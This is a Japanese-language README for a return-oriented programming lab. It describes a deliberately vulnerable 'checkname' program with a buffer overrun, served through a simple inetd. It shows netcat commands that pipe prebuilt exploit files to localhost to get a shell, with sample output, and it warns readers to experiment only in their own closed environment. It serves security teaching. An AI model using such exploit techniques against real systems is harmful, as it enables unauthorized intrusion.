実験をする際には,必ず自身の閉じた環境内で行ってください. 他人の管理するサーバやPCに対して行わないでください.
同等のことを他人の管理するサーバやPCに対して行うと, 不正アクセス禁止法などに問われる可能性があります. (善意の検証目的でもNGです)
CentOS6の環境でビルドしてあります.
この入力処理にはバッファオーバーランのバグがあります. ROPによりシェル起動することができます.
簡易的な inetd のようなプログラムを添付してあるので,
簡易inetd経由で checkname を起動することで,ネットワーク・サーバとして
動作させることができます.
そのようにして netcat で Exploit を流し込むことができます.
% ./simple-inetd 10000 0 0 . checkname checkname
% objdump -d -w <実行ファイル> | ./rop-gadget.pl -n <命令数> -k <検索キーワード>
(注意) checkname は make により実行ファイルを再作成するとアドレス体系が 変わってしまうので,添付の chekcname をそのまま使うこと
(ポート10000でchecknameを起動して待ち受けする)
% ./simple-inetd 10000 0 0 . checkname checkname(別環境からtelnetで接続してみる:NGの場合)
% telnet localhost 10000 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. This program is for CentOS 6. Input name: test ★接続したら「test」と入力 NG Connection closed by foreign host.(別環境からtelnetで接続してみる:OKの場合)
hiroaki@letsnote2:~>% telnet localhost 10000 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. This program is for CentOS 6. Input name: Mike ★接続したら「Mike」と入力 OK Connection closed by foreign host. %(Exploitによりシェルを起動する)
% cat exploit-direct.bin - | nc localhost 10000 This program is for CentOS 6. Input name: NG ls ★接続したら「ls」と入力すると,lsが実行される Makefile checkname checkname.c gadget.txt rop-gadget.pl simple-inetd simple-inetd.c(Exploitによりシェルを起動する:ファイルを後続させるものは,catでなくcat.plが必要になる)
% ./cat.pl exploit-read-string.bin bin-sh.bin - | nc localhost 10000 This program is for CentOS 6. Input name: NG ls ★接続したら「ls」と入力すると,lsが実行される Makefile checkname checkname.c gadget.txt rop-gadget.pl simple-inetd simple-inetd.c